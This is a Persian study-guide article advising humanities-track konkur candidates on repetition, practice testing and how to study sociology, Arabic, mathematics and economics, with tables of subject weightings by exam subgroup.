انسانی ها

سلام به همه ی دانش آموزان عزیزم در گروه آزمایشی انسانی

خواهش می کنم مبحثی رو که می خوام براتون بگم با دقت بخونید.

تکرار

 مشکلی که در مطالعه دانش آموزان به وجود می آید ، عدم تکرار می باشد. به عبارتی مباحثی که را مطالعه می کنند تکرار و مرور نمی شود. هر آنچه تکرار شود ماندگار خواهد بود. هیچ تصویری از ذهن ما خارج نمی شود ، اگر فراموش می شود به این معنی است که بایگانی می شود. داوطلبان مطالب را به مدت طولانی می خوانند اما یکبار.

لطفا به مثال زیر توجه کنید:

فرض کنید در خانه ای زندگی می کنید که هیچ وسیله ای برای نگهداری وجود ندارد ؛ نه کمد، نه گنجه و…

قانون خانه : قانون خانه این است که هر وسیله ای را که بخواهیم در خانه نگهداری کنیم در خانه پرت می کنیم.

حال از شما می خواهیم در مدت زمان ۱ دقیقه یک جوراب صورتی را بپوشید. شما چه خواهید کرد؟

توجه : خانه مغز ماست. وسایل : اطلاعات و افکاری است که روزانه وارد ذهن ما می شود.

راهنما : شما سرمایه دار هستید.

جواب : ۳ حالت وجود دارد :

۱ – یا شما موفق به پیدا کردن جوراب صورتی خواهید شد.( به عبارتی در کنکور سوال را صحیح پاسخ می دهید.)

۲- یا یک جوراب دیگر خواهید پوشید : (سوال را اشتباه پاسخ می دهید.)

۳- و آخربن حالت این است که بدون جوراب خواهید ماند ( تست را بدون پاسخ می گذارید.)

چگونه بتوانیم به حالت اول یا به عبارتی جواب درست برسیم ؟

حال اگر شما ثروتمند باشید از جوراب صورتی چند جفت خریده اید و در بین جوراب هایتان ، جوراب صورتی پیدا خواهید کرد.

نتیجه : اگر مطالب را تکرار(مرور) کنیم سریع یادآوری خواهیم کرد. اگر مطلبی را در فاصله های زمانی متفاوت تکرار یا مرور کنید تعداد زیادی از آن مطلب در حافظه شما ذخیزه خواهد شد. پس بازیابی آن در هنگام امتحان آسان تر خواهد بود.

دانش آموزان انسانی عزیرم که امسال کنکور دارین دقت داشته باشید امسال باید ۳۰ تا ۴۰ درصد از وقتتونو برای مطالعه کتاباتون بزارین و ۷۰ تا ۶۰ درصد وقتتون را برای تست زدن. چرا ؟ چون از طریق تست زدن مباحث دوره و یادآوری کنید.

از تست ها یاد بگیرید :

تست هایی که در خانه برای یادگیری می زنید با آن دسته از تست هایی که سر جلسه آزمون های آزمایشی یا کنکور پاسخ می دهید متفاوت است. در جلسه آزمون شما تست علمی می زنید اما در خانه تست ها باید آزمایشی باشند.

به نکات زیر هنگام تست زدن در منزل توجه کنید :

در قید زمان نباشید و با آرامش تست بزنید تا بتوانید از تست ها یاد بگیرید. اینکه شما تستی را با شک پاسخ می دهید بدون تردید آن مبحث را ناقص یاد گرفته اید و باید با دقت هرچه تمام تر مبحث را مجددا مطالعه کنید.

در تست هایی که دو گزینه بسیار شبیه به هم می باشد و شما قادر به تشخیص گزینه درست نمی باشید ؛ نکات ظریفی نهفته است. این نکات را یاد بگیرید در جزوه یا خلاصه خود یادداشت کنید.

اگر در برخی از تست ها مدت زمان زیادی را صرف می کنید تا به جواب برسید ؛ بدانید دارای تکنیکی است که راه حل را کوتاهتر می کند. این تکنیک را یاد بگیرید. اگر تست های مبحثی را که مطالعه کرده اید زیاد می باشد؛ یاد بگیرید که پس از هر بار مطالعه فقط تعدادی از آن تست ها را بزنید.

در نهایت در خانه از تست ها یاد بگیرید ،  اشتباهاتتان را برطرف کنید سپس در آزمون تست علمی بزنید.

و حرف آخر : هر شب نبض خود را بگیرید.

خیلی وقتا آدم کار مهمی داره اما هر کار می کنه نمی تونه از پیش ببره و موفق بشه. در واقع نمیدونه که دقیقا باید از کجا شروع کنه .

مهم اینه که وقتی کاری رو شروع میکنین متوجه میشین که باید چه شکلی ادامه بدید. برنامه ریزی کاریه که وقتی جدی شروع می کنی ؛ خودت خیلی چیزها رو یاد می گیری . مهم شروع کردنشه. کسی که هدف مهمی داره ، برنامه ریزی براش یه کار ضروریه. مثل شما داطلبان کنکوری عزیز که هدفتون رسیده به یک رتبه عااالیه.

مهم ترین رکن برنامه ریزی اینه که خودت از خودت با خبر میشی

پس هر شب نبض خودتو بگیر.

 

 

جامعه شناسی و علوم اجتماعی 

از دیگر مباحث مهم ، کتاب جامعه شناسی است.  کتابی مفهومی با حجم اندک.

این درس ارتباط بین علوم مختلف از جمله علوم انسانی ، علوم نظری و علوم غیر مادی را بررسی می کند. در نتیجه می بایست استعداد تحلیل و فهم دانش آموز در اینجا فعال باشد. چرا که با تکیه بر مفاهیم حفظی تنها قادر به پاسخگویی تعاریف ساده خواهید بود.

تنها منبع برای مطالعه درس جامعه شناسی (مانند سایر دروس)کتاب درسی می باشد . برای تفهیم مطالب خواندن عمیق و با دقت آن ضروری است. در نتیجه مطمئن باشید حفظ کردن مطالب شما را به جایی نخواهد رساند ،( در امتحانات نهایی و کنکور).

در انتهای هر درس صفحه ای گذاشته شده که در آن صفحه شما باید مفاهیم کلیدی هر درس و تعاریف مفاهیم و خلاصه درس را بنویسید.

بعد از خواندن هر درس با پرکردن کادرهای فوق به طور دقیق می توانید به نتیجه زیر برسید.

۱ – شما در انتهای هر درس صفحه ای جداگانه که مفاهیم کلیدی هر درس و تعاریف و خلاصه های آن یکجا پر شده است را خواهید داشت.

۲ – بعد از خواندن دقیق مطالب دروس ، برای مرور و جمع بندی شما ،می توانید به صفحات انتهایی دروس مراجعه کنید.

۳ – بهترین نکات درس که می تواند برای طراحان سوالات کنکور مهم و منبع تست باشد ، مفاهیم کلیدی است. پس باید با دقت مفاهیم کلیدی هر درس را از متن استخراج کرده و آنها را هر روز مرور کنید.

۴ – مطالب کتاب جامعه شناسی دارای پیوستگی معنایی می باشند. مفاهیم مرتبط را حتما در جزوه یا برگه های خلاصه خود بنویسید.(این مفاهیم می توانتد تست های ترکیبی برای طراحان کنکور باشند.)

۵- به نمودار های موجود در کتاب جامعه شناسی دقت کنید . تحلیل این نمودار ها در فهم مطالب کمک بسیاری به شما می کند.

۶ – مثال ها ، نمونه ها  و فعالیت ها را حتما حل کنید تا درک بهتری از درس بدست بیاورید.

علوم اجتماعی :

قسمت دوم کتاب علوم اجتماعی از اهمیت زیادی برخودار است . سعی کنید در علوم اجتماعی و سایر دروس مفهومی ، مباحث مرتبط را به وسیله مداد رنگی همرنگ کنید. تماما بر متن کتاب درسی تمرکز کرده و ارتباط بین دروس را پیدا کنید.

 

 

دانش آموزان عزیزم در گروه آزمایشی انسانی :

استاد محمدی عزیز لطف کردند تمام منابع کمک آموزشی رشته ی انسانی رو در بخش معرفی منابع کنکور ۹۶ گذاشته اند. لطفا حتما به این بخش مراجعه کنید.

براتون بهترین ها رو آرزو میکنم. موفق و پیروز باشین

مجموعه رشتههایی که دروس امتحانی آن‌‌ها دارای ضرایب یکسان میباشند

زیرگروه ۱

زبان و ادبیات فارسی، دبیری زبان و ادبیات فارسی، زبان و ادبیات عرب، دبیری زبان و ادبیات عرب، مترجمی زبان عربی، ادبیات و زبان عربی، الهیات و معارف اسلامی، دبیری الهیات و معارف اسلامی، دبیری علوم دینی، کارشناسی تربیت مربی عقیدتی و سیاسی، کاردانی تربیت معلم قرآن، علوم اسلامی، علوم قرآنی، معارف اسلامی و حقوق، الهیات و معارف اسلامی و ارشاد، علوم دینی و معارف اسلامی، فقه و حقوق حنفی، فقه و حقوق امامی، فقه و حقوق شافعی، فقه و حقوق اسلامی، علوم قرآن و حدیث، معارف اسلامی و علوم سیاسی، معارف اسلامی و الهیات، حقوق، علوم قضایی، کارشناس فقه، کاردانی امور حقوقی و کنسولی، پلیس قضایی، حکمت اسلامی و فلسفه، فلسفه.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۲)، اقتصاد (با ضریب ۱)، زبان و ادبیات فارسی (با ضریب ۴)، زبان عربی (با ضریب ۴)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۱)، فلسفه و منطق (با ضریب ۳)، روانشناسی (با ضریب ۱) .
زیرگروه ۲
علوم اجتماعی، دبیری علوم اجتماعی، علوم ارتباطات اجتماعی، مددکاری اجتماعی، خبرنگاری(گرایش علوم اجتماعی، فرهنگی و هنری).
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۴)، اقتصاد(با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۳)، فلسفه و منطق (با ضریب ۱)، روانشناسی (با ضریب ۲) .

زیرگروه ۳

مدیریت فرهنگی هنری، مدیریت امور بانکی، علوم اقتصادی،  کارشناسی خبرنگاری، بانکداری،امور بانکی، مدیریت بیمه، کاردانی امور مالی و مالیاتی، امور گمرکی، کاردانی امور گمرکی، کاردانی حسابداری، کاردانی امور بیمه،مدیریت، مدیریت دولتی، مدیریت جهانگردی، مدیریت مسافرتی و جهانگردی، کاردانی مدیریت صنعتی، فلسفه، اقتصاد حمل و نقل، اقتصاد صنعتی، کاردانی علمی- کاربردی صنایع چاپ، حسابداری، کاردانی مدیریت بازرگانی، مدیریت بیمه اکو، خدمات امور اداری، مدیریت و کمیسر دریایی، کاردانی امور دفتری، کارشناسی تولید سیما، مدیریت بانکداری.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۴)، اقتصاد (با ضریب ۳)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۲)، فلسفه و منطق (با ضریب ۱)، روانشناسی (با ضریب ۱) .
زیرگروه ۴
روابط سیاسی، علوم سیاسی، علوم سیاسی(امنیت ملی)، اطلاعات و ضد اطلاعات، کاردانی عملیات کشوری، اطلاعات نظامی، علوم انتظامی، جغرافیای سیاسی، نظامی، جغرافیا، تاریخ، دبیری جغرافیا، دبیری تاریخ، باستان شناسی.
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۳)، اقتصاد (با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب ۱)، تاریخ و جغرافیا (با ضریب ۳)، علوم اجتماعی (با ضریب ۲)، فلسفه و منطق (با ضریب ۲)، روانشناسی (با ضریب ۳) .

زیرگروه ۵

روانشناسی، علوم تربیتی، راهنمایی و مشاوره، مطالعات خانواده، کتابداری، دبیری تربیت بدنی و علوم ورزشی، کاردانی تربیت بدنی و علوم ورزشی،
مواد امتحان اختصاصی و ضرایب آنها: ریاضی (با ضریب ۳)، اقتصاد (با ضریب ۲)، زبان و ادبیات فارسی (با ضریب ۲)، زبان عربی (با ضریب ۱)، تاریخ و جغرافیا (با ضریب ۱)، علوم اجتماعی (با ضریب ۳)، فلسفه و منطق (با ضریب ۲)، روانشناسی (با ضریب ۳) .
آزمون عمومی و ضرایب تمامی رشته ها
ادبیات فارسی
 
۴
 
دین و زندگی
 
۳
 
عربی
 
۲
 
زبان
 
۲

 

 

در هر زیرگروه رشته‌ی علوم انسانی، هر یک از دروس اختصاصی دارای چه ضریبی است؟

 

 

 زیر گروه ضرایب دروس به تفکیک زیرگروه‌ها
ریاضیات اقتصاد ادبیات اختصاصی عربی اختصاصی تاریخ و جغرافیا علوم اجتماعی منطق و فلسفه روان‌شناسی
شماره ۱ ۲ ۱ ۴ ۴ ۱ ۱ ۳ ۱
شماره ۲ ۴ ۲ ۲ ۱ ۱ ۳ ۱ ۲
شماره ۳ ۴ ۳ ۲ ۱ ۱ ۲ ۱ ۱
شماره ۴ ۳ ۲ ۲ ۱ ۳ ۲ ۲ ۳
شماره ۵ ۳ ۲ ۲ ۱ ۱ ۳ ۲ ۳

عربی

و اما مهم ترین و خاص ترین درس گروه علوم انسانی

 عربی از جمله دروسی است که برای پاسخگویی کامل به سوالات آن ، باید اطلاعات کاملی از اکثر مطالب کتاب داشته باشیم .

خواندن یک درس یا مبحث به تنهایی ، هرچند به طور کامل ، در زدن تست ها به شما کمکی نخواهد کرد. اطلاعات شما در مورد ترجمه و قواعد دست به دست هم می دهند تا شما را به سمت پاسخ های صحیح هدایت کنند. عامل مهم دیگر در کنار این دو ، توانایی درست خواندن عبارات است .

این امتیازی است که هم در ترجمه و هم در بگارگیری درست قواعد می تواند به شما کمک بزرگی کند. تنها راه رسیدن به این توانایی مطالعه درست کتابهایتان می باشد. اگر با کلمات و عبارات کتاب آشنا باشید ، تقریبا ۹۰درصد از عبارات استفاده شده در سوالات را خواهید شناخت .

به دلیل اختصاصی بودن این درس ، هم اکنون تا زمان کنکور در برنامه ریزی روزانه خود مدت زمان مشخصی (فرضا روزی یک ساعت ) به مطالعه درسی عربی بپردازید.

دانش آموزان عزیزم لطفا نکات زیر را در مطالعه این درس رعایت کنید :

ترجمه :

اغلب چند سوال اولیه در ازمون سراسری به ترجمه اختصاص می یابد . اگر داوطلب به معنی تمام لغات کتاب تسلط داشته باشد  ، به راحتی خواهد توانست از این سوالات عبور کند . داوطلبان گرامی دقت داشته باشند تسلط بر معنای کلمات ، صرفا تنها یادگیری معنی درس و عبارات انتهای کتاب نمی باشد . بلکه معنای عبارات موجود در پاورقی ، تمرینات ، سوالات ، توضیحات و….بسیار حائز اهمیت می باشد.

قواعد :

قواعد دروس عربی ۲ و ۳ و پیش مانند زنجیره ای به هم پیوسته می باشند . هنگامی که از پله های ساختمان بالا می روید ، اول قدم بر پله اول سپس دوم و سپس سوم می گذارید . در مورد دروس عربی نیز همین موضوع صدق می کند ؛ به عبارتی پیش نیاز یادگیری عربی پیش دانشگاهی ، عربی ۳ و پیش نیاز یادگیری عربی ۳ ، عربی ۲ می باشد . همچنین در دروس عربی ، مطالب طوری چیده شده که کاملا به یکدیگر مرتبط و نزدیک می باشد . شما برای یادگیری قواعد درس ۶ حتما می بایست قواعد درس ۵ را کاملا یاد داشته باشید.

شما در دفترچه شماره ۱ به ۲۵ سوال عمومی و در دفترچه شماره ۲ به ۲۰ سوال عربی اختصاصی پاسخ خواهید داد. عربی ۲ و ۳ جز عربی عمومی و عربی پیش دانشگاهی عربی اختصاصی شما می باشد اما دقت داشته باشید بین سوالات عمومی و اختصاصی در این درس به هیچ عنوان مرزی وجود ندارد . به بیان واضح تر  ۲۰ سوال از عربی پیش دانشگاهی می تواند تمام قواعد کل کتب عربی را پوشش دهد.

در مورد قواعد شما باید نکات زیر را رعایت کنید :

ابتدا تمام قواعد را ضمن رعایت پیوستگی ، به طور کامل یاد بگیرید. دقت داشته باشید قواعد را حفظ نکنید بلکه یاد بگیرید در عربی فقط ۱۰ درصد مطالب حفظی می باشند. به عبارتی اگر شما صیغه های مضارع مرفوع به اعراب اصلی را حفظ کنید “۱۴۷۱۳۱۴” ، سپس اگر سوال شود که فعل “یذهب” دارای چه اعرابی است؟ نخواهید توانست طبق عدد بالا بیان کنید اگر چه از همین صیغه ها می باشد اما یک سری نکات را باید رعایت کنید . پس سعی کنید تمام قواعد را اعم از اعراب اصلی ، فرعی ، تقدیری ، تجزیه و ترکیب و….کاملا یاد بگیرید . سپس بالافاصله تست بزنید که کاملا تثبیت شود . نیازی نیست شما برای هر مبحثی تعداد زیادی تست را حل کنید ، اگر شما برای این درس یک کتاب تست داشته باشید و بعد از مطالعه هرمبحث ، تست های همان مبحث از همان کتاب را پاسخ دهید .، کفایت خواهد کرد. سعی کنید ابتدا یک منبع کمک درسی را کاملا به اتمام برسانید سپس به سراغ منبع دیگر بروید . سعی کنید قبل از مطالعه هر مبحث ، برای یادآوری و اطمینان از یادگیری کامل مبحث قبلی ، تعدادی تست را پاسخ دهید .

لطفا برای تسلط بر دو مبحث ترجمه و قواعد از کتاب عربی ۱ شروع کنید . هرشب به اندازه که می توانید مطالعه کنید  ؛ با اینکه عربی ۱ در زمره منابع کنکور نمی باشد ولی بسیاری از لغات آن در کتاب های مقاطع بالاتر به کار رفته است . لذا کتاب بسیار مهمی است .

تجربه نشان داده است که دانش آموزانی که از مهر ماه یک مدت زمان مشخصی را به عربی اختصاص می دهند (به طور ثابت و روزانه )در اسفند ماه و روزهای مانده به کنکور شاهد پیشرفت چشمگیری در این درس خواهند بود. 

ریاضی

یکی از دغدغه­ های همیشگی دانش‌آموزان و داوطلبان گروه آزمایشی علوم انسانی، یادگیری ریاضیات است. تقریباً این جمله را که «من ریاضی یاد نمی­گیرم» همه­ ما به وفور از داوطلبان علوم انسانی شنیده‌ایم. همین تفکر غلط که ناشی از به کار نگرفتن شیوه­های صحیح یادگیری ریاضیات است، موجب شده است تا علاوه بر کاهش اعتماد به نفس، بیشتر داوطلبان علوم انسانی به سوی شیوه ­های غلطی همچون حفظ کردن، تلاش بی‌حاصل در حل انبوهی از تست ها، شرکت در کلاس های متعدد و تکراری و در نتیجه، از دست دادن زمان و … سوق داده شوند؛ در حالی که حل این مشکل در درجه­ اول، مستلزم شناسایی ریشه­ های آن و سپس به کارگیری راهکارهای درست و کارآمد برای حل آن است و نه سطحی‌نگری و پاک کردن صورت مساله.
وقتی به شیوه مطالعه درس ریاضی در میان داوطلبان علوم انسانی نگاه می‌کنیم، می‌بینیم که بسیاری از آنها مانند بازیکن‌های فوتبال، و البته بی‌هدف و بدون برنامه، به دویدن بی حد و بدون بازده پرداخته و در پایان، در حالی که از خستگی، توان نفس کشیدن هم ندارند، متوجه می‌شوند که شکست سنگینی را متحمل شده ­اند.
این در حالی است که درس ریاضیات، یکی از مهم‌ترین و سرنوشت‌سازترین دروس گروه آزمایشی علوم انسانی است و پاسخگویی خوب به سؤالات این درس، نقش مهمی در قبولی در رشته ها و دانشگاه‌های خوب این گروه دارد؛ یعنی اگر داوطلبی درصد ریاضی خود را کمی ارتقاء دهد، تاثیر شگرفی در نتیجه و رتبه‌اش خواهد گذاشت؛ تاثیری که شاید در هیچ درس دیگری در این گروه، نمی‌توانست تا به این حد وجود داشته باشد.
پس از دفترچه سؤالات عمومی، در بخش سؤالات اختصاصی، دو دفترچه سؤال به داوطلبان گروه آزمایشی علوم انسانی داده می‌شود: دفترچه شماره دو، شامل دروس ریاضی و اقتصاد است و سی سؤال را دربر می‌گیرد. از این سی سؤال، ریاضی بیست و اقتصاد ده سؤال دارد. زمانی که برای ریاضی در نظر گرفته شده، بیست و پنج دقیقه است. حال اگر شما داوطلب عزیز بتوانید در این مدت، تنها به پنج سؤال آسان نیز جواب دهید، می توانید امیدوار باشید که در مقایسه با داوطلبان دیگری که اصلاً به سؤالات درس ریاضی پاسخ نمی‌دهند، رتبه بسیار بهتری کسب کنید. همان‌طور که می‌دانید، رتبه‌بندی در آزمون سراسری بر اساس ترازهای داوطلبان صورت می‌گیرد، نه بر اساس درصدهایشان. تراز به زبان ساده، شاخصی است که وضعیت یک داوطلب را در میان داوطلبان دیگر بیان می‌کند؛ به طور مثال، ممکن است شما در یک درس ساده که عموم داوطلبان در آن درصد خوبی کسب می‌کنند، نتیجه‌ ۷۰ درصد را به‌دست آورید، و تراز شما ۹۰۰۰ شود، ولی اگر همین نتیجه را در درسی بیاورید که برای عموم داوطلبان مشکل زا باشد، تراز شما حدود ۱۱۰۰۰ می شود. این بدین معناست که شما در درس دوم نسبت به سایر داوطلبان، وضعیت بهتری دارید. از آنجایی که غالب داوطلبان علوم انسانی، با درس ریاضیات میانه خوبی ندارند، اگر داوطلبی بتواند این درس خود را تقویت کند، ترازش (وضعیتش نسبت به سایر داوطلبان) به‌طور خارق‌العاده‌ای بهبود می‌یابد و این موضوع تاثیر مستقیمی در بهبود رتبه‌‌اش خواهد داشت.
 حالا که متوجه شدیم چرا ریاضیات در کنکور علوم انسانی اهمیت دارد، می‌خواهیم بدانیم که چطور باید این درس را مطالعه کرده و برای کنکور آماده شویم. باید اشاره کنیم که یادگیری ریاضیات، چنانچه به طور صحیح به آن پرداخته شود، نه تنها ممکن است، بلکه خیلی هم آسان و قابل دستیابی است، و به دلیل اهمیتی که درس ریاضی دارد، شما از هر زمانی که مطالعه این درس را در برنامه خود بگنجانید، می توانید به نسبت زمانی که برای آن گذاشتید، نتیجه خوبی بگیرید. در واقع زحمت شما هدر نخواهد رفت؛ پس تا دیر نشده است بجنبید.
نکته دیگری که در اینجا باید به آن اشاره کنیم این است که اگر فکر می کنید زمان کافی برای مطالعه تمام مباحث ریاضی ندارید، برخی از مباحث مهم و اصلی را که در بودجه‌بندی کنکور سهم بیشتری دارند و سؤالات بیشتری از آن طرح می‌شود یا یادگیری آن به نسبت زمانی که شما در اختیار دارید، راحت است، انتخاب کنید و برای مطالعه همان مباحث وقت بگذارید.
 برای خواندن ریاضیات (و اصولاً هر درس دیگر) سه کار باید انجام دهیم:
اول پشتکار، دوم پشتکار و سوم هم پشتکار.
شاید خواندن این درس برای برخی از داوطلبان که بیشتر به ادبیات و روان‌شناسی و … علاقه‌مند هستند، مشکل باشد، ولی داوطلبان باید بدانند که با اصرار و تداوم بر خواندن ریاضی و گنجاندن آن در برنامه‌ روزانه، می‌توانند نتیجه خوبی کسب کنند. البته ما نیز راه‌کارهایی را به شما پیشنهاد می‌کنیم که بتوانید بازدهی خود را به میزان بالاتری برسانید.
نکته‌ اولی که پیشنهاد می‌کنیم این است که هر داوطلب باید خودش، مسایل و تست‌های زیادی را حل کند و از درستی راه‌حل را خود مطمئن شود. در این مرحله، باید تلاش کنید تا مفاهیم در ذهنتان ماندگار شده و قابلیت تبدیل به راه­ حل پیدا کند. سعی کنید تا مفاهیم را مانند یک معلم برای خودتان روی کاغذ توضیح دهید و در وقت های آزاد خود با تصویرسازی ذهنی، مفاهیم را در ذهن خود مرور و تصوّر کرده و سپس مسایل تشریحی دشوارتری را یافته و حل کنید. بحث های گروهی با دوستانتان روی این مسایل، بسیار مفید است. اینکه راه‌حل و جواب تشریحی سؤال را از روی کتاب کمک ‌آموزشی ببینید، کمکی به شما نمی‌کند. البته اگر جواب سؤالی را نمی‌دانستید، حتماً باید پاسخ و راه‌حل آن را بیابید و بیاموزید؛ اما پس از آن باید تلاش کنید تا سؤالات مشابهی را خودتان به تنهایی حل کنید تا مساله در ذهنتان بخوبی حک شود. یادتان باشد که در این مرحله، زمان اهمیتی ندارد. چه‌ بسا حل مساله ای پنج یا ده دقیقه طول بکشد. این موضوع اصلاً مهم نیست! تازه در قدم اول هستید.
گام بعدی این است که بتدریج سعی کنید که سرعت عمل خود را در حل سؤالات بالا ببرید و به زمان استاندارد کنکور نزدیک شوید. برای انجام این‌کار، علاوه بر حل مسایل و تست‌های بسیار، باید بر فرمول‌های کتب درسی و کاربرد آنها مسلط باشید. برای رسیدن به این هدف، توصیه می‌کنیم که فرمول‌ها را در یک دفترچه بنویسید و به‌طور منظم دوره‌شان کنید. در ابتدا بدون حساسیت به زمان، همانند سؤالات تشریحی و با توجه به موضوع و استفاده از منابع مختلف به سؤالات تستی پاسخ دهید. در هنگام حل تست ها به راه حل­های مختلف برای حل سؤال نیز توجه کنید. در صورت متفاوت بودن راه ­حل پاسخنامه با راه­ حل شما، حتماً آن راه را نیز به طور دقیق بررسی کنید و خودتان نیز سعی کنید که راه­ حل­های جدیدی را ارائه دهید. اگر نتوانستید راه حل مساله ای را پیدا کنید یا آن را متوجه شوید، ذهن خود را روی مساله قفل کنید و به دنبال راه حل بگردید، 
شما می توانید تمام فرمول های کتب ریاضی و اتحادها و نسبت های مثلثاتی و … را در این دفترچه یادداشت کنید و گاه‌گاهی آنها را دوره کنید تا در حل تست‌ها به کمکتان بیایند. البته ریاضیات فقط حفظ‌کردن فرمول نیست، بلکه باید مهارت و خلاقیت استفاده از این فرمول ها را نیز با تمرین و تکرار، کسب کنید. با  به کارگیری این روش، شما به نحو چشم گیری سرعت حل مساله‌ خود را ارتقاء می بخشید.
علاوه بر نکات ذکر شده، پس از مدتی متوجه خواهید شد که برای برخی از مسایل، راه حل های کوتاه‌تری نیز وجود دارد که با استفاده از آنها می‌توانید در وقت خود صرفه‌جویی کنید. این راه ها و فرمول های ساده را می‌توانید در کتب یا جزوات کمک ‌آموزشی نیز بیابید.
علاوه بر مهارت حل مساله، داوطلبان گرامی باید متن کتاب‌های درسی را نیز مطالعه کنند؛ چرا که در سال‌های اخیر از این بخش ها هم سؤالات متعددی مطرح شده است.
پس از مرور مسایل ریاضی و تسلط بر این مسائل، در مرحله بعد، باید سرعت رسیدن به جواب را افزایش دهید. البته بسیار مهم است که این مساله را فدای دقت نکنید. لازم نیست که برای حل تست‌ها، راه ­حل­ها را به صورت مفصل و با ذکر تمام جزییات بنویسید. تا می توانید مختصر بنویسید و مراحلی را که می‌توانید بدون ریسک انجام دهید، روی کاغذ نیاورید. البته حتماً باید توجه داشته باشید که به هیچ وجه دقت را فدای سرعت نکنید. زدن ده تست درست، خیلی بهتر است از زدن بیست تست است که نُه تست آن به علت بی­دقتی غلط از آب در بیاید؛ زیرا در این صورت، گویا هفت تست درست زده‌اید. پس از اینکه مهارت خود را به اندازه کافی بالا بردید زدن تست‌های زمان­دار را شروع کنید. همان‌طور که می‌دانید، این زمان باید در پایان روزهای آمادگی برای کنکور باشد. 
نکته‌ آخری که در بخش روش مطالعه همواره به داوطلبان توصیه می‌کنیم، این است که مهارت و سرعت خود را در درس اقتصاد نیز بالا ببرند. از آنجایی که دفترچه دوم، مربوط به دروس ریاضی و اقتصاد است و زمان پاسخگویی به دفترچه دوم (دروس ریاضی و اقتصاد) سی و پنج دقیقه است، داوطلبان هرچه درس اقتصاد را در زمان کمتری پاسخ بدهند، در نتیجه زمان بیشتری برای حل سؤالات ریاضی خواهند داشت؛ پس سرعت تسلط در درس اقتصاد، نسبت مستقیم با نتیجه‌ به‌دست آمده در درس ریاضیات و طبعاً، نتیجه‌ کل آزمون خواهد داشت.
در پایان حتماً به این نکات نیز در یادگیری درس ریاضی توجه کنید:
۱ـ نسبت به ریاضی دید مثبت‌تری پیدا کنید.
۲ـ مطالبی را که هنگام مطالعه می‌خوانید، به زبان ساده تر برگردانید.
۳ـ برای سریع حل کردن مسایل ریاضی، تمرین کنید و هنگام مطالعه وقت بگیرید که یک مساله در فلان موضوع را در چند دقیقه حل می‌کنید. هر چند عجله داشتن و شتاب زدگی توصیه نمی‌شود؛ زیرا باعث اشتباه می‌شود، ولی سرعت عمل در جایی که شما متوجه راه حل شده‌اید و آن را بلدید، در جلوگیری از کمبود وقت به شما کمک می‌کند.
 ۴ـ مساله را گام به گام حل کنید؛ زیرا باعث فهم خوب مساله و حدس راه حل های درست می شود.
۵ـ قبل از انجام محاسبات، مساله را تجزیه و تحلیل کنید و با جزییات طرح کنید.
۶ـ برآوردی از پاسخ خود داشته باشید تا از مسیر غلط رفتن جلوگیری کند و جوابی را که به مساله می‌دهید، مرتب وارسی کنید که آیا مسیر را درست می روید یا نه.
۷ـ در هنگام مطالعه، تمرین‌ها را به صورت کتبی انجام دهید و از اینکه مسائل را ذهنی حل کنید، بپرهیزید؛ زیرا موجب اشتباه می‌شود.
۸ـ از اینکه در آخرین لحظه، جواب خود را تغییر دهید، بپرهیزید؛ مگر اینکه ۱۰۰ درصد مطمئن باشد که به سؤال، جواب غلط داده اید.
۹ـ فرمول های ریاضی را چند بار و در زمان های مختلف مرور کنید.
۱۰ـ همه وقت خود را صرف حل چند مساله سخت نکنید. ابتدا مسائل آسان را حل کنید، و اگر دیدید که مساله‌ای سخت است از آن عبور کنید و بعد از پاسخ به تمام مسائل، به آن برگردید.
۱۱ـ اگر نمی دانید از کجا شروع کنید، سؤال را دوباره بخوانید.
۱۲ـ مواظب اشتباهات پیش پا افتاده باشید؛ زیرا هر چقدر که راه حل را درست بروید، ولی در یک محاسبه کوچک (جمع و تفریق) اشتباه کنید، جواب شما غلط می‌شود.
۱۳ـ با اضطراب ریاضی مقابله کنید؛ زیرا اضطراب و منفی نگری نسبت به درس ریاضی باعث می‌شود که در انجام پیدا کردن راه حل، انجام عملیات ریاضی و توجه به اشتباهات پیش پا افتاده، سر در گم باشید و دچار خطا گردید.

اقتصاد

در آزمون سراسری ۱۵ سوال ( معمولا از هر درس یک سوال) طرح می شود و یکی از درس های کلیدی و رتبه ساز در رشته انسانی می باشد.

درس  ریاضیات و اقتصاد  ،به طور جداگانه در دفترچه شماره ۲ گنجانده می شوند. وقت پاسخگویی به این دفترچه ، ۳۵ دقیقه است و پس از پایان این زمان  ، داوطلبان دیگر قادر به پاسخگویی به سوالات این دفترچه نخواهند بود ،از آنجایی که سوالات و مسئله های درس ریاضی غالیا وقت گیر هستند ، داوطلبان  معمولا در این دفترچه با کمبود زمان  مواجه می شوند ؛

به همین دلیل است که اولین توصیه ی به دانش آموزان عزیز در مورد درس اقتصاد  این بوده است  که اگر می خواهند جز رتبه های برتر و رتبه های اصلی کنکور باشند  ، باید تسلط و سرعت خود را در درس اقتصاد افزایش دهند تا مبادا به دلیل کمبود وقت از پاسخگویی به سوالاتی که جواب آن را می دانسته اند  ؛ باز نمانند. 

ارزش درس اقتصاد در کنکور : درس اقتصاد در زیرگروه ۱ کنکور سراسری (ضریب ۱)در زیرگروه ۲و۴ (ضریب ۲) و در زیر گروه ۳ یعنی برای رشته های حسابدرای ، اقتصاد ، خبر نگاری و انواع مدیریت با ضریب ۳ اهمیت بسزایی دارد. حدود ۹۰/۵۱ درصد قبول شدگان کنکور سراسری این درس را بین ۱۰ تا ۴۰ درصد می زنند.

درس اقتصاد از سه بخش تشکیل شده است :

۱-مفهومی : مطالب مفهومی کتاب اقتصاد شامل اقتصاد در تعلیم اسلام  ، محاسبه تولید کل جامعه ، تورم ، عرصه و تقاضا ، (سیاست های پولی و مالی ) ، تولید درآمد و معیار سنجش آن ، تاثیر عملکرد افراد بر متغیر های کلان ، اهمیت بودجه بندی کل کشور و انواع نرخ های مالیاتی و دولت توسعه است.

